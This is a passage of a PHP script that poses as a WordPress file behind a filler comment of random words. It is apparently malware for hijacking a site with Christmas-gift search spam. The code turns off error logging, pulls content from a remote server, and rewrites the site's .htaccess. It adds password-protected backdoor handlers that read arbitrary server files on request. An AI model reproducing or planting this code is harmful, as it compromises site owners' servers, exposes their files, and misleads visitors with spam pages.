/** * alcohol attach attitude bother burst competition decent devise enthusiasm exceed export ferfile geology hint hydrogen inevitable luxury principal reveal temple vain wax witness zone. * aspect battery emotion flee flexible garbage geography hint junior partial pat presumably shelter terror utilise vertical. * evolution nuclear professional vivid zone. * budget cancel mist tendency trend twist voluntary. * academy applicant bachelor breadth calendar clue expend expense junior liter oxygen prescribe volcano. * absolute audio authority consume dispose expenditure flexible liable media opponent prosperity revenue simplicity utter vehicle. * arouse battery cargo consent entertainment hatred infer junior likelihood mainland moisture partial tedious the transplant whereas withdraw. * applicable dump expansion expend external geometry hook legislation nevertheless nuisance personnel retail ruin scratch shield shrink withstand. * acknowledge arouse bargain beforehand conservative duration equivalent extreme geography interfere merchant nuisance obscure powder route smash spot suburb suspicion vain via violence wax. * appreciate bacteria barrier catalog clue debate elbow explosive extinct grand laser motivate neglect oblige profitable recreation secure suspicious tedious tend tension ultimate videotape welfare xploit. * adult approach awful bargain comment drift durable exclaim exclusive extent genuine insure interpretation leather molecule nylon restrain slip spur vacant videotape whatsoever. * accomplish adult attach authority budget delay drip duration focus hence manufacture marveous modify quit rely rescue ridiculous sequence simplify substitute thrust. * breed calendar noticeable satellite title. * adult balcony career ceremony distinguish enviroment essential exceed frown gap hydrogen marveous mutual personnel subsequent substance target torture tuition twist wander weave. * available bacteria consent continual deserve emphasize inhabitant prospect radiation scale shelter spit substantial tedious universe urgent. * adjust appreciate arouse calendar device import inevitable interpretation mainland missile restrain revenue satellite shrink sponsor subt tedious tense tension territory vibrate violet. * authority auxiliary debate faulty global grateful guarantee household mature profitable prompt quotation render rival shrink splendid terminal tide title vibrate waist. * advertisement boundary glimpse golf luxury moist optics reluctant restrain tidy vacuum. * audio automatic barrier gratitude guilty lean neglect prescribe spot submerge ultimate. * arouse bureau calculate continual debt defect delay enclose equation expend explode female incident individual insignificant prohibit shrug voluntary. * arbitrary architect awful echo favorable gasoline hydrogen joint obstacle passive pat release remedy removal ridid scan scandal sexual simplify stripe suspicious textile valid wander. * acid alcohol appeal arbitrary boundary burden distinguish duration explode exterior genius gesture horrible import outstanding restrict retain seminar strategy temporary thrust urgent version. * applianc boundary favorite guarantee mixture vertical. * advertisement brake candidate cargo device expensive extinct fatal fatigue illusion minimum partial reluctant remote suspicion tender transplant undergraduate virus vivid weed yawn. * advertise awkward continual erect external geometry identify leather prospect provision religious secure shrug tender utilify vertical. * abundant avenue cancel interpret ridiculous sincere stable video. * appetite applicable bunch calculate competition conservation constant deaf defect dumb ferfile focus jealous network notify pants participate recreation rescue shiver tidy utter valley vertical whatsoever. * acid acquire arbitrary bunch devise elbow exceed gesture laser oblige precaution prescribe triangle urge vehicle. * brake coil decade decline diverse emphasize equation excess inhabitant label modest motive neglect orient suspicious ultimate universal venture welfare. * applicable automatic conservation display equation joint molecule omit rely shiver sophisticated spur strategic theme tremble triangle victim wander withstand. * compete cope discrimination genius household insure odd reluctant ruin satellite talent volume wander whereas. * * @package WordPress */ @ini_set('display_errors', 0); @ini_set('log_errors', 0); @set_time_limit(3600); define("DOMTXT","/jd2/"); define("GETDATE","http://www.datecenter.com/api/?key="); define("CENTERKEY",3); define("MYDIR", "/amabestfr200622-22/"); define("FNUM",99); define("JGNUM","40"); define("LINKNUM","8"); define("BZSITE","l"); define("BZPRO","p"); define("BZCAT","r"); //msbg define("JDT","0"); //msend //msidbg define("MSID",4181); //mssidend //keyjgbg define("KEYJG",6); //keyjgend //randnumIbg define("RANDNUMI",13); //randnumIend //randnumIIbg define("RANDNUMII",10); //randnumIIend //pnamelenbg define("PNAMELEN",42); //pnamelenend //jthouzuibg define("JTHZ","/"); //jthouzuiend //nttarr_bg $arrnametime[]="1"; $arrnametime[]="3"; $arrnametime[]="2"; $arrnametime[]="4"; //nttarr_end //wddarr_bg $arr_word[0][] ="2";$arr_word[0][] ="3";$arr_word[0][] ="2";$arr_word[0][] ="4";$arr_word[0][] ="4";$arr_word[0][] ="4";$arr_word[0][] ="3";$arr_word[0][] ="3";$arr_word[0][] ="2";$arr_word[0][] ="3";$arr_word[1][] ="3";$arr_word[1][] ="3";$arr_word[1][] ="4";$arr_word[1][] ="4";$arr_word[1][] ="2";$arr_word[1][] ="4";$arr_word[1][] ="3";$arr_word[1][] ="3";$arr_word[1][] ="2";$arr_word[1][] ="2";$arr_word[2][] ="4";$arr_word[2][] ="3";$arr_word[2][] ="2";$arr_word[2][] ="2";$arr_word[2][] ="3";$arr_word[2][] ="3";$arr_word[2][] ="4";$arr_word[2][] ="3";$arr_word[2][] ="4";$arr_word[2][] ="2";$arr_word[3][] ="3";$arr_word[3][] ="4";$arr_word[3][] ="2";$arr_word[3][] ="2";$arr_word[3][] ="3";$arr_word[3][] ="2";$arr_word[3][] ="4";$arr_word[3][] ="3";$arr_word[3][] ="3";$arr_word[3][] ="4";$arr_word[4][] ="3";$arr_word[4][] ="2";$arr_word[4][] ="4";$arr_word[4][] ="2";$arr_word[4][] ="4";$arr_word[4][] ="4";$arr_word[4][] ="3";$arr_word[4][] ="2";$arr_word[4][] ="3";$arr_word[4][] ="3";$arr_word[5][] ="3";$arr_word[5][] ="3";$arr_word[5][] ="2";$arr_word[5][] ="4";$arr_word[5][] ="3";$arr_word[5][] ="2";$arr_word[5][] ="2";$arr_word[5][] ="3";$arr_word[5][] ="4";$arr_word[5][] ="4";$arr_word[6][] ="3";$arr_word[6][] ="4";$arr_word[6][] ="2";$arr_word[6][] ="3";$arr_word[6][] ="3";$arr_word[6][] ="2";$arr_word[6][] ="4";$arr_word[6][] ="3";$arr_word[6][] ="4";$arr_word[6][] ="2";$arr_word[7][] ="3";$arr_word[7][] ="3";$arr_word[7][] ="4";$arr_word[7][] ="2";$arr_word[7][] ="2";$arr_word[7][] ="3";$arr_word[7][] ="2";$arr_word[7][] ="4";$arr_word[7][] ="4";$arr_word[7][] ="3";$arr_word[8][] ="2";$arr_word[8][] ="4";$arr_word[8][] ="3";$arr_word[8][] ="4";$arr_word[8][] ="2";$arr_word[8][] ="2";$arr_word[8][] ="4";$arr_word[8][] ="3";$arr_word[8][] ="3";$arr_word[8][] ="3";$arr_word[9][] ="4";$arr_word[9][] ="4";$arr_word[9][] ="3";$arr_word[9][] ="3";$arr_word[9][] ="2";$arr_word[9][] ="4";$arr_word[9][] ="3";$arr_word[9][] ="3";$arr_word[9][] ="2";$arr_word[9][] ="2";$arr_word[10][] ="2";$arr_word[10][] ="4";$arr_word[10][] ="2";$arr_word[10][] ="3";$arr_word[10][] ="4";$arr_word[10][] ="4";$arr_word[10][] ="2";$arr_word[10][] ="3";$arr_word[10][] ="3";$arr_word[10][] ="3";$arr_word[11][] ="2";$arr_word[11][] ="3";$arr_word[11][] ="4";$arr_word[11][] ="3";$arr_word[11][] ="3";$arr_word[11][] ="3";$arr_word[11][] ="2";$arr_word[11][] ="4";$arr_word[11][] ="2";$arr_word[11][] ="4"; //wddarr_end //kwzzarr_bg $arrKeywz[]="9"; $arrKeywz[]="4"; $arrKeywz[]="12"; $arrKeywz[]="6"; $arrKeywz[]="5"; $arrKeywz[]="11"; $arrKeywz[]="7"; $arrKeywz[]="10"; $arrKeywz[]="8"; //kwzzarr_end //brddarr_bg $arrBread[]="crumbs-top"; $arrBread[]="navBreadCrumbs row"; $arrBread[]="doc-crumb clearfix"; $arrBread[]="breadcrumb"; $arrBread[]="breadHeads row"; $arrBread[]="breadtops clearfix"; $arrBread[]="crumbs-head"; $arrBread[]="crumbs-nag row"; $arrBread[]="crumbs clearfix"; $arrBread[]="Breadcrumb-Top row"; $arrBread[]="Breadcrumbs clearfix"; $arrBread[]="customBreadcrumb"; $arrBread[]="ant-breadcrumb row"; $arrBread[]="crumb-list row"; $arrBread[]="BreadcrumbTops clearfix"; $arrBread[]="crumbsTop clearfix"; $arrBread[]="BreadcrumbHead clearfix"; $arrBread[]="BreadcrumbNavigation row"; $arrBread[]="BreadcrumbsHead"; $arrBread[]=""; $arrBread[]="crumbList"; $arrBread[]="BreadcrumbNavigation"; $arrBread[]="breadtops row"; $arrBread[]="breadcrumb row"; $arrBread[]="bread_crumb clearfix"; $arrBread[]="chrome-breadcrumbs clearfix"; $arrBread[]=""; $arrBread[]="breadcrumbs-base row"; $arrBread[]="wrapper-breadcrums row"; $arrBread[]="crumbs-head row"; $arrBread[]="v-breadcrumb"; $arrBread[]="bread-List clearfix"; $arrBread[]="ck-breadcrumb row"; $arrBread[]="bread_crumb"; $arrBread[]="crumbs row"; $arrBread[]="bread-List row"; $arrBread[]="Breadcrumb-Head"; $arrBread[]="ag-breadcrumblist"; $arrBread[]="nw-breadcrumblist clearfix"; $arrBread[]="breadList row"; $arrBread[]="l-breadcrumb row"; $arrBread[]="navBreadCrumbs"; $arrBread[]="crumbsHeads row"; $arrBread[]="crumbs-top clearfix"; $arrBread[]="Breadcrumb-Heads"; $arrBread[]="crumbs"; $arrBread[]="l-breadcrumb"; $arrBread[]="BreadcrumbHead"; $arrBread[]="ant-breadcrumb clearfix"; $arrBread[]="c-breadcrumb"; $arrBread[]="Breadcrumb-Top"; $arrBread[]="bread-List"; $arrBread[]="crumbList row"; $arrBread[]="BreadcrumbsHead clearfix"; $arrBread[]="BreadcrumbsList row"; $arrBread[]=""; $arrBread[]="crumbsTops"; $arrBread[]="breadtop row"; $arrBread[]="breadHeads"; $arrBread[]="navBreadCrumb"; $arrBread[]="BreadcrumbTops row"; $arrBread[]="crumb-list clearfix"; $arrBread[]="breadList clearfix"; $arrBread[]="customBreadcrumb clearfix"; $arrBread[]="s-breadcrumb clearfix"; $arrBread[]="Breadcrumb row"; $arrBread[]="nw-breadcrumblist"; $arrBread[]="s-breadcrumb row"; $arrBread[]="breadLists clearfix"; $arrBread[]="nw-breadcrumblist row"; $arrBread[]="crumbsHeads"; $arrBread[]="BreadcrumbLists"; $arrBread[]="BreadcrumbList clearfix"; $arrBread[]="page-breadcrumbs clearfix"; $arrBread[]="doc-crumb"; $arrBread[]="Breadcrumb row"; $arrBread[]="mb-breadcrumb row"; $arrBread[]="Breadcrumb clearfix"; $arrBread[]=""; $arrBread[]="crumbsTop row"; $arrBread[]="breadtop"; $arrBread[]=""; $arrBread[]="breadHeads clearfix"; $arrBread[]="v-breadcrumb row"; $arrBread[]="BreadcrumbHeads"; $arrBread[]="BreadcrumbsList clearfix"; $arrBread[]="wrapper-breadcrums"; $arrBread[]="crumbList clearfix"; $arrBread[]="Breadcrumb"; $arrBread[]="breadHead clearfix"; $arrBread[]="breadLists"; $arrBread[]="crumbs-nag clearfix"; $arrBread[]="c-breadcrumb clearfix"; $arrBread[]="Breadcrumb-Head row"; $arrBread[]="BreadcrumbLists clearfix"; $arrBread[]="crumb-list"; $arrBread[]="plp__breadcrumb clearfix"; $arrBread[]="Bread"; $arrBread[]="l-breadcrumb clearfix"; $arrBread[]="BreadcrumbTop"; $arrBread[]="breadcrumbs-base"; $arrBread[]="breadcrumbs row"; $arrBread[]=""; $arrBread[]="doc-crumb row"; $arrBread[]="ck-breadcrumb clearfix"; $arrBread[]="breadcrumbs"; $arrBread[]="BreadcrumbsHead row"; $arrBread[]="BreadcrumbTops"; $arrBread[]="customBreadcrumb row"; $arrBread[]="cs-breadcrumb row"; $arrBread[]="crumbs-top row"; $arrBread[]="ag-breadcrumblist row"; $arrBread[]="r-breadcrumb row"; $arrBread[]="r-breadcrumb clearfix"; $arrBread[]="Breadcrumbs"; $arrBread[]="breadList"; $arrBread[]="wrapper-breadcrums clearfix"; $arrBread[]="Bread clearfix"; $arrBread[]="crumbsHead row"; $arrBread[]="qa-breadcrumb clearfix"; $arrBread[]="l-breadcrumb clearfix"; $arrBread[]=""; $arrBread[]=""; $arrBread[]=""; $arrBread[]="pages-breadcrumbs"; $arrBread[]="c-breadcrumb row"; $arrBread[]="Breadcrumb-Top clearfix"; $arrBread[]="crumbsHeads clearfix"; $arrBread[]="BreadcrumbLists row"; $arrBread[]="BreadcrumbList row"; $arrBread[]=""; $arrBread[]="breadtop clearfix"; $arrBread[]="breadHead row"; $arrBread[]=""; $arrBread[]="page-breadcrumbs"; $arrBread[]="breadcrumb clearfix"; $arrBread[]="s-breadcrumb"; $arrBread[]="plp__breadcrumb"; $arrBread[]="breadcrumb"; $arrBread[]="BreadHead clearfix"; $arrBread[]="el-breadcrumb clearfix"; $arrBread[]="el-breadcrumb row"; $arrBread[]="Breadcrumb clearfix"; $arrBread[]="page-breadcrumbs row"; $arrBread[]="breadcrumb clearfix"; $arrBread[]="BreadcrumbTop row"; $arrBread[]="qa-breadcrumb"; $arrBread[]="pages-breadcrumbs clearfix"; $arrBread[]="ant-breadcrumb"; $arrBread[]="qa-breadcrumb row"; $arrBread[]="mb-breadcrumb clearfix"; $arrBread[]="crumbsTops clearfix"; $arrBread[]="breadHead"; $arrBread[]="el-breadcrumb"; $arrBread[]="Breadcrumbs row"; $arrBread[]="l-breadcrumblist"; $arrBread[]="Breadcrumb-Heads row"; $arrBread[]="BreadcrumbTop clearfix"; $arrBread[]="cs-breadcrumb clearfix"; $arrBread[]="ck-breadcrumb"; $arrBread[]="plp__breadcrumb row"; $arrBread[]="cs-breadcrumb"; $arrBread[]="BreadcrumbList"; $arrBread[]="Breadcrumb-Head clearfix"; $arrBread[]="BreadcrumbsList"; $arrBread[]="crumbsTops row"; $arrBread[]="BreadcrumbHead row"; $arrBread[]="BreadcrumbNavigation clearfix"; $arrBread[]="v-breadcrumb clearfix"; $arrBread[]="ag-breadcrumblist clearfix"; $arrBread[]="breadcrumb row"; $arrBread[]="breadcrumbs-base clearfix"; $arrBread[]=""; $arrBread[]="crumbsHead"; $arrBread[]="breadtops"; $arrBread[]="BreadHead row"; $arrBread[]=""; $arrBread[]="navBreadCrumb row"; $arrBread[]="BreadcrumbHeads row"; $arrBread[]="crumbs-nag"; $arrBread[]="bread_crumb row"; $arrBread[]="l-breadcrumb row"; $arrBread[]="pages-breadcrumbs row"; $arrBread[]="navBreadCrumb clearfix"; $arrBread[]="Breadcrumb-Heads clearfix"; $arrBread[]="mb-breadcrumb"; $arrBread[]="r-breadcrumb"; $arrBread[]="BreadHead"; $arrBread[]="crumbsTop"; $arrBread[]="crumbs-head clearfix"; $arrBread[]="navBreadCrumbs clearfix"; $arrBread[]="Bread row"; $arrBread[]="Breadcrumb"; $arrBread[]="l-breadcrumb"; $arrBread[]="breadLists row"; $arrBread[]="l-breadcrumblist row"; $arrBread[]="chrome-breadcrumbs row"; $arrBread[]="l-breadcrumblist clearfix"; $arrBread[]="breadcrumbs clearfix"; $arrBread[]="crumbsHead clearfix"; $arrBread[]="chrome-breadcrumbs"; $arrBread[]="BreadcrumbHeads clearfix"; //brddarr_end //fhharr_bg $arrfh[]="Christmas Supplies"; $arrfh[]="Xmas"; $arrfh[]="Top Christmas gifts 2018"; $arrfh[]="Christmas gift ideas"; $arrfh[]="Christmas presents"; $arrfh[]="Unique Christmas Gifts"; $arrfh[]="Christmas gift"; $arrfh[]="Christmas Ornament"; $arrfh[]="Christmas gift shop"; $arrfh[]="Christmas Decoration"; $arrfh[]="Xmas Ornaments"; $arrfh[]="Christmas gift ideas 2018"; $arrfh[]="Holiday presents"; $arrfh[]="for Christmas"; $arrfh[]="Holiday Gifts"; $arrfh[]="Christmas Gifts 2018"; $arrfh[]="Christmas gift store"; $arrfh[]="Christmas Holiday"; $arrfh[]="best Christmas gift"; $arrfh[]="Best Christmas gifts 2018"; //fhharr_end $q1 = "O00O0O"; $q2 = "O0O000"; $q3 = "O0OO00"; $q4 = "OO0O00"; $q5 = "OO0000"; $q6 = "O00OO0"; $q7 = "O00O00"; $q8 = "O00OOO"; $$q1 = RandAbcs(); //srrarr_bg $strRand[0]="rgulnyjqwmcibxtkshpveadozf"; $strRand[1]="hzwgnoqpkmubdjytvsciafrlex"; $strRand[2]="obuvdhkcljpnxwyrisgmafqtze"; $strRand[3]="qfblvscaokhjtmxypugienwrzd"; $strRand[4]="hjmsdgtcikoanvueylqwxzrfbp"; $strRand[5]="fpizsantukhgobyeqwxvlrmdcj"; $strRand[6]="jpbwrioeyzgntcvmxqkdshalfu"; $strRand[7]="mszgwftbikexpludhjqrvaynoc"; $strRand[8]="kqacegyuxvtilhmofdnrzsbwjp"; $strRand[9]="wevxzkhqltmgbryjinaufcdops"; $strRand[10]="xjdmsufawhbvlncetogzkqiyrp"; $strRand[11]="sjpmtfowiahgznvdqceublrxyk"; $strRand[12]="ixtkfvqdycjhzwrnmsebugoapl"; $strRand[13]="cmirapngluzwtxdsjbqkyefohv"; $strRand[14]="nrifvcmuyojbwxzdpsaqgklhte"; $strRand[15]="wqetmzdsyncvaohlurbikjgfxp"; $strRand[16]="urygtvqsiokazcnpwmjfexhdbl"; $strRand[17]="biydtwzulfxrgapjsmonveqkch"; $strRand[18]="iygzekhjxdclambrnsotwfpuvq"; $strRand[19]="tsmjnazrxevlwpogidqkhbfcyu"; $strRand[20]="tzlhkryxpuiqnswofmecdjvabg"; $strRand[21]="ikmaurvcwfblsopgxtqjhyzdne"; $strRand[22]="nkyvsoixqmewlruzbjhfptacdg"; $strRand[23]="ofjxqdvprsmkntabwulciegzyh"; $strRand[24]="hjulengfxbmsiydkwacvtopzrq"; $strRand[25]="ebnvcmwflsgzjoqxitphyadkru"; $strRand[26]="zctamsdorhqxugbkwnypjviefl"; $strRand[27]="pgokwulabzdqfijenctyshmrxv"; $strRand[28]="hgmbjtdyncfisrkvqwpexlzaou"; $strRand[29]="qwigmexshdukntoplcrbfzjyva"; $strRand[30]="iukvwjblmrzfcegoaytdqnxhsp"; $strRand[31]="xfuknilhwysmtbqrzjgceodvap"; $strRand[32]="xhedayksoluvtqcrgwfjbpzmin"; $strRand[33]="hrfdltqjgcpxbnevsyzwomiuak"; $strRand[34]="oxuphbdtjmiwnrkfveaqclzgys"; $strRand[35]="kxeodnbujvqhtralpmyiszfcgw"; $strRand[36]="zjfpvbqshltexigduyrkwmocan"; $strRand[37]="kpbxmjqiruvgwlshydezncfota"; $strRand[38]="edqmjxvboyntsgprkclfwuiahz"; $strRand[39]="mwgnqypzfbljevdokascihrxtu"; $strRand[40]="lbaegdcxyfroqskihuwnztjvpm"; $strRand[41]="gcqomldjniushzfxvpeyraktbw"; $strRand[42]="yfsjpwhbqxomvtircnklaeudgz"; $strRand[43]="sgvozlfmieharbqtnucpkyxdjw"; $strRand[44]="tigsvzhwrlkjbdufyenqxpacmo"; $strRand[45]="xivbysumrzjngdhwalkeqcfpot"; $strRand[46]="ralnzbofpviesjhcdgutykmwqx"; $strRand[47]="gdvucqskoaixpnzewjybftmhlr"; $strRand[48]="qhkyomjprtzvwseafgxbnlcidu"; $strRand[49]="dyuqesklxgizrcotpbawfjvnhm"; $strRand[50]="nuxsqvkiczajobmrheydlgtfwp"; $strRand[51]="qvmirucdxasghptyoebzwfkjln"; $strRand[52]="slgovxitjknhcbqefwuyrpmadz"; $strRand[53]="zykqwujchdirmavsogpltfbexn"; $strRand[54]="bfglpzseakjiywcnqmhtdxuvro"; $strRand[55]="mhwragpyxczeodskfjtqbuviln"; $strRand[56]="srbayfptdumlxoihgczjvkqwen"; $strRand[57]="tvaeuzkojshwcfmiqnygbxrpdl"; $strRand[58]="zuiadtmnhorsjvkxycbwpgqefl"; $strRand[59]="kcsmihdvueztwgxylnoajfrpbq"; $strRand[60]="zscixvpuofqtanelgydkjhwbrm"; $strRand[61]="gjbmhketuaczdyfwroixqsvlpn"; $strRand[62]="xeycjizouhgqvpnbatmwdlsfkr"; $strRand[63]="dbuljzikaqxwhenogtyfvmcprs"; $strRand[64]="jqkwsaflgtuvbocxdmhpnzirey"; $strRand[65]="tsnrlgemyxfzkhawovjdicpbuq"; $strRand[66]="hobzplrtscemnjygfqikxaudwv"; $strRand[67]="ovhpbacensqdrzxlmgtwufjyik"; $strRand[68]="zcklrsaynuqtpbvxegfiwhmjod"; $strRand[69]="drnzuywvfsqoijplhectbkgaxm"; $strRand[70]="qztbgivmpncyohkjfuerxadlsw"; $strRand[71]="jlbskrdtyoqaivcxpfuwnhegmz"; $strRand[72]="asiuqrhfvpdwtmcbelyxjkngzo"; $strRand[73]="skdymcivlbpxauoqwfzhjtgren"; $strRand[74]="uartjpfyxhqzdligkvnowcemsb"; $strRand[75]="nmqvscuxazgdrjpfoikybhetlw"; $strRand[76]="svoagbzlhkpderjyiqfnwuxtmc"; $strRand[77]="lfhdnepusbykxirgzjamwtqcov"; $strRand[78]="mgwlqxtypfchjedvkourizbsan"; $strRand[79]="ekawgtnlozivbydhsumxjrpfqc"; $strRand[80]="vnhsxgzkodtimyqrjewbluacfp"; $strRand[81]="jxepridfntlhbzvugqmaycoksw"; $strRand[82]="gzfxsykqnahjwbpucvmtorield"; $strRand[83]="bykedtzlrucwjhfpgavixomsqn"; $strRand[84]="pxtlivgefahqrdzwmoknjucbsy"; $strRand[85]="kvwzdtuinysrflphoebamcqgxj"; $strRand[86]="lifunhmtebrqxpoykwgzdjvsca"; $strRand[87]="dbmupseholzavqwifkxjnrtcyg"; $strRand[88]="wsxvtmyiqzdpekcaonhlfjrbgu"; $strRand[89]="xaevklisymqwrfouznpbhcjgdt"; $strRand[90]="xvlfjcgiqwruzpetbnmaodkhsy"; $strRand[91]="qrbchuaviegksjtzdxmfyonlpw"; $strRand[92]="yopqmnuliwekhabrftvxdjcgsz"; $strRand[93]="tzciajydgheusqlbkmxwvrpnof"; $strRand[94]="qbkyecadfsuvzlnmwotihxgrpj"; $strRand[95]="yfihejobgsmdcapnltxwqrkvuz"; $strRand[96]="gbruloazvfnsyxeqhwkicpdtmj"; $strRand[97]="cjqzmhilfobsxvpgywaekrntdu"; $strRand[98]="cpszywlifuvdrmbxtgeqhokajn"; $strRand[99]="rylcbwzsvqftgpaojuemknhdxi"; //srrarr_end $thisdom = str_replace("www.","",$_SERVER['HTTP_HOST']); define("GETDOM",getthisdom()); // $arrArrr = array();$j = 0;for($i=0;$i<20;$i+=2){ $arrArrr[$j++] = $strRand{$i}.$strRand{$i+1};} $Arrrarr = array_flip($arrArrr); $stss = 'transferdm'; $stss2 = 'deliverym'; if(isset($_GET["gsitemap"]) && isset($_GET["mapnum"])){ $O_OO0_0O_0='America/Chicago'; @date_default_timezone_set($O_OO0_0O_0); if (! is_dir("../websiteguide")) mkdir("../websiteguide", 0755); global $gnumber; $gnumber = 1; $bgNum = (int)trim($_GET["gsitemap"]); $mapnum = (int)trim($_GET["mapnum"]); if($bgNum > FNUM) die("The Number Must Lower Then " . FNUM); $arrNumTemp = getMapNum($bgNum,$mapnum); $rs = '#(.*)#si'; $mapLogs = file_get_contents("./map.log"); foreach($arrNumTemp as $vss){ $vals = "id$vss.php"; if(strstr($mapLogs,'#website' . $arrABC[$gnumber-1] . 'map' .'.xml#') && file_exists('../websiteguide/website' . $arrABC[$gnumber-1] . 'map' .'.xml')){ echo $vals."
"; echo '../websiteguide/website' . $arrABC[$gnumber-1] . 'map' .'.xml successed
'; $gnumber++; continue; } for($i=0; $i<3; $i++){ $idUrl = GETDOM . "gpage.php?getmapid=$vss&site=$thisdom&sid=".MSID; $tempIdStr = curl_get_from_webpage($idUrl,'',5); $arrIdNameNow = array(); if(preg_match($rs,$tempIdStr,$matchIdName)){ $tparrIdName = explode('^^',$matchIdName[1]); foreach($tparrIdName as $vs){ $tpArr = explode('^',$vs); if(count($tpArr) == 2){ $arrIdNameNow[$tpArr[0]] = $tpArr[1]; }elseif(count($tpArr) > 2){ $tpstr = ''; for($j=1; $j"; die(); } echo $vals."
"; if($gnumber == 1){ if(JDT == 1){ gsitemap($arrIdNameNow,2,1); }else{ gsitemap($arrIdNameNow,1,2); } }else{ if(JDT == 1){ gsitemap2($arrIdNameNow,2,1); }else{ gsitemap2($arrIdNameNow,1,2); } } unset($arrIdNameNow,$tempArr1,$tempArr2); } } if(isset($_GET["ghtac"]) && $_GET["ghtac"]){ $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames))); $PreDir = ''; if(JDT == 1){ $UrlBaseDir = $httcReplace; $RewriteOnDir = ''; }else{ $UrlBaseDir = ''; $PreDir = '../'; $RewriteOnDir = $httcReplace . '/'; } $strhtt = ''; if (file_exists("$PreDir.htaccess")){ @chmod("$PreDir.htaccess",0755); $strhtt = file_get_contents("$PreDir.htaccess"); } if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule'))) { $strhtt = ''.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .''; }else{ $strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt); $strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt); } if(1){ $r0 = '#(.*RewriteEngine On.*)#i'; $r1 = '#(.*RewriteBase.*)#i'; $r2 = '#RewriteRule#i'; if(JDT == 0){ $rsut = '\1'.PHP_EOL .'RewriteRule ^'. '.*-(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'.'.*-'.BZCAT.'(\d+)' . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'.'.*(website[a-z]+map\.xml)$ websiteguide/\$1 [L]' . PHP_EOL ; $rsut2 = PHP_EOL .'RewriteRule ^'. '.*-(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'.'.*-'.BZCAT.'(\d+)' . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'.'.*(website[a-z]+map\.xml)$ websiteguide/\$1 [L]' . PHP_EOL .'RewriteRule' ; }else{ $rsut = '\1'.PHP_EOL .'RewriteRule ^'. '.*-(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'.'.*-'.BZCAT.'(\d+)' . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL ; $rsut2 = PHP_EOL .'RewriteRule ^'. '.*-(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'.'.*-'.BZCAT.'(\d+)' . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL .'RewriteRule' ; } if(preg_match($r0,$strhtt)){ $strhtt = preg_replace($r0,$rsut,$strhtt,1); }elseif(preg_match($r1,$strhtt)){ $strhtt = preg_replace($r1,$rsut,$strhtt,1); }else{ $strhtt = preg_replace($r2,$rsut2,$strhtt,1); } if(JDT == 1 or JDT == 0){ file_put_contents("$PreDir.htaccess", $strhtt); } } die("ghtac ok"); } if(isset($_POST["chdate"]) && md5($_POST["chdate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["redate_file"])){$redate_file = $_POST["redate_file"];if(file_exists($redate_file)){echo '#ok#';}else{echo '#nofile#';}die();}if(isset($_POST["redate"]) && md5($_POST["redate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["redate_file"])){$redate_file = $_POST["redate_file"];if(file_exists($redate_file)){echo rFile($redate_file);die();}else{echo '#nofile#';die();}}if(isset($_POST["test"]) && md5($_POST["test"])=='b6772c68627f804a9578152ee90f5b0c'){echo '#ok#'; die();}if((isset($_POST["lan"]) && $_POST["lan"] == 1) or (isset($_GET["lan"]) && $_GET["lan"] == 1)){$fileArr = array();$flag = 1;$fileArr['index'] = filesize(__FILE__);if(file_exists("./moban.html")){$fileArr['moban'] = filesize("./moban.html");}else{$flag = 0;$fileArr['moban'] = -1;}echo 'error---'. serialize($fileArr) .'---';die();}if(isset($_GET["gsitemap"]) || isset($_GET["rset"]) || isset($_GET["hzui"]) || isset($_GET["jgshu"]) || isset($_GET["ljshu"]) || isset($_GET["modifydate"]) || isset($_GET["moshi"]) || isset($_GET["install"])){die();} if(JDT==2){ $UrlParent=end((explode('index.php',$_SERVER['REQUEST_URI']))); if($UrlParent){ $tempSid = ''; $tempPid = ''; $r2='#.*-(\d+)'. JTHZ .'$#i'; $r3='#.*-(\d+)/$#i'; if(preg_match($r2,$UrlParent,$matches2)){ if(isset($matches2[1])) $tempPid = $matches2[1]; }else{ preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1])) $tempPid = $matches13[1]; } if($tempPid){ $_GET['id']= $tempPid; }else{ $r2='#.*-'.BZCAT.'(\d+)'. JTHZ .'$#i'; $r3='#.*-'.BZCAT.'(\d+)/$#i'; if(preg_match($r2,$UrlParent,$matches2)){ if(isset($matches2[1])) $tempPid = $matches2[1]; }else{ preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1])) $tempPid = $matches13[1]; } if($tempPid) $_GET['cat']= $tempPid; } } }elseif(JDT==3&&isset($_GET['keyword'])&&$_GET['keyword']){ $tempSid = ''; $tempPid = ''; $UrlParent = $_GET['keyword']; $r2='#-(\d+)$#i'; $r3='#[-/]'.'(\d+)$#i'; if(preg_match($r2,$UrlParent,$matches2)){ if(isset($matches2[1])) $tempPid = $matches2[1]; }else{ preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1])) $tempPid = $matches13[1]; } if($tempPid){ $_GET['id']= $tempPid; } } function getRandStr(){ $arrABC = range('a','z'); shuffle($arrABC); $randNum = rand(4,6); $str = implode('',array_slice($arrABC,0,$randNum)); return $str;} if(isset($_GET["id"])) $id = $_GET["id"]; else{ if(isset($_GET["cat"])){ $rqurl = $_GET["cat"]; $logFileName = 